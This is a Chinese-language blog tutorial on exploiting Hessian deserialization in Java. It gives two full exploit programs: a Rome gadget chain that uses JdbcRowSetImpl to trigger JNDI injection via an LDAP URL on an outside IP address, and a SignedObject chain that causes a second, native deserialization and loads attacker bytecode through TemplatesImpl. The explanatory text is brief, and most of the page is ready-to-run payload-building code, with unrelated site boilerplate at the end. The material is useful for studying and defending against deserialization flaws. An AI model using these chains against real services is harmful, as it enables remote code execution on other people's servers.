目录

前言

出网——JdbcRowSetImpl

不出网——SignedObject 打二次反序列化


前文:【Web】浅聊Java反序列化之玩转Hessian反序列化的前置知识

前言

正如我们前文所说,当Hessian反序列化Map类型的对象的时候,会自动调用其put方法,而put方法又会牵引出各种相关利用链打法。map.put对于HashMap会触发key.hashCode()。

利用到hashCode的链子有很多,如CC6和Rome相关链,但很遗憾的是CC6因为一些原因无法使用,后面会出一篇文章专门讲其原因。本文主要讲一下Rome出网和不出网的两种利用方式。

出网——JdbcRowSetImpl

只需要找一条入口为hashcode()的反序列化链即可,比如我们常用的ROME链

简单回顾下,Rome 的链核心是 ToStringBean,这个类的 toString 方法会调用他封装类的全部无参 getter 方法,可以借助 JdbcRowSetImpl#getDatabaseMetaData() 方法触发 JNDI 注入。

而Rome链的触发点是EqualsBean#hashCode,这就完美贴合了我们的需求

(参考文章:【Web】浅聊Java反序列化之Rome——关于其他利用链)

EXP

package com.Hessian;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Hessian_Rome implements Serializable {


    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String url = "ldap://124.222.136.33:1337/#suibian";
        jdbcRowSet.setDataSourceName(url);


        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        //手动生成HashMap,防止提前调用hashcode()
        HashMap hashMap = makeMap(equalsBean,"1");

        byte[] s = serialize(hashMap);
        deserialize(s);
    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }

    public static <T> byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }

    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bai);
        Object o = input.readObject();
        return (T) o;
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

不出网——SignedObject 打二次反序列化

因为种种限制,TemplatesImpl不能依靠Hessian反序列化任意加载类(后面的文章会专门写,这里按下不表),面对不出网的情况,一个常见替代的方式是使用 java.security.SignedObject 进行二次反序列化。

SignedObject,顾名思义,推测其主要用途是对某个对象进行数字签名,以确保数据的完整性和真实性。通过将对象使用私钥进行数字签名,接收方可以使用对应的公钥来验证该对象的签名是否有效,从而确保数据在传输或存储过程中没有被篡改。

关于SignedObject,先看其构造方法

public SignedObject(Serializable object, PrivateKey signingKey,
                        Signature signingEngine)
        throws IOException, InvalidKeyException, SignatureException {
            // creating a stream pipe-line, from a to b
            ByteArrayOutputStream b = new ByteArrayOutputStream();
            ObjectOutput a = new ObjectOutputStream(b);

            // write and flush the object content to byte array
            a.writeObject(object);
            a.flush();
            a.close();
            this.content = b.toByteArray();
            b.close();

            // now sign the encapsulated object
            this.sign(signingKey, signingEngine);
    }

总的来说,这段代码实现了将待签名的对象转换为字节数组,并使用指定的私钥和签名引擎对该字节数组进行签名的过程。这样就创建了一个带有数字签名的 SignedObject 对象,可以用于确保对象的完整性和真实性。 

下面的EXP中给了这样一段构造,我们顺带看一下

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");

        SignedObject signedObject = new SignedObject(map,privateKey,signingEngine);

给到一点简单解读:

  • 首先通过 KeyPairGenerator 类生成用于数字签名的密钥对,这里使用的是 DSA(Digital Signature Algorithm)算法,并将密钥长度设置为 1024 比特。
  • 接着生成密钥对,其中包括一个私钥和一个公钥,用于数字签名和验证。
  • 使用 Signature 类实例化一个用于数字签名的引擎,同样选择了 DSA 算法。
  • 最后,创建了一个 SignedObject 对象,该对象包含了要被签名的 map 对象、私钥和数字签名引擎。通过这一步,map 对象被使用私钥进行数字签名,生成一个带有签名信息的 SignedObject

OK点到为止,我们接下来看打二次反序列化的核心:SignedObject#getObject

public Object getObject()
        throws IOException, ClassNotFoundException
    {
        // creating a stream pipe-line, from b to a
        ByteArrayInputStream b = new ByteArrayInputStream(this.content);
        ObjectInput a = new ObjectInputStream(b);
        Object obj = a.readObject();
        b.close();
        a.close();
        return obj;
    }

注意到getObject为一个无参getter,且该方法会从流里使用原生反序列化读取数据,这就造成了二次反序列化,从一个原生的readObject入口开始打链

注意,二次反序列化是原生反序列化,可以打TemplatesImpl,下面给出示例

EXP

package com.Hessian;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;

public class Hessian_SignedObject {

    public static void main(String[] args) throws Exception {

        byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\21135\\Desktop\\RuoYi-v4.7.1\\Rome\\target\\classes\\com\\rome\\Evil.class"));

        TemplatesImpl obj = new TemplatesImpl();
        setValue(obj, "_bytecodes", new byte[][] {code});
        setValue(obj, "_name", "xxx");
        setValue(obj, "_tfactory", new TransformerFactoryImpl());
        ToStringBean bean = new ToStringBean(Templates.class, obj);
        ToStringBean fakebean= new ToStringBean(String.class, obj);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, fakebean);
        HashMap map = new HashMap();
        map.put(equalsBean, 1);  // 注意put的时候也会执行hash
        setValue(equalsBean, "_obj", bean);

        //此处写法较为固定,用于初始化SignedObject类
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");

        SignedObject signedObject = new SignedObject(map,privateKey,signingEngine);

        ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);

        EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class,toStringBean1);

        HashMap hashMap = makeMap(equalsBean2, "xxx");

        byte[] payload = Hessian2_Serial(hashMap);
        Hessian2_Deserial(payload);
    }

    public static byte[] Hessian2_Serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(baos);
        hessian2Output.writeObject(o);
        hessian2Output.flushBuffer();
        return baos.toByteArray();
    }

    public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        Hessian2Input hessian2Input = new Hessian2Input(bais);
        Object o = hessian2Input.readObject();
        return o;
    }

    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }

    public static void setValue(Object obj, String fieldName, Object newValue) throws Exception {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, newValue);
    }
}
Logo

基于 Vue 的企业级 UI 组件库和中后台系统解决方案,为数万开发者服务。

更多推荐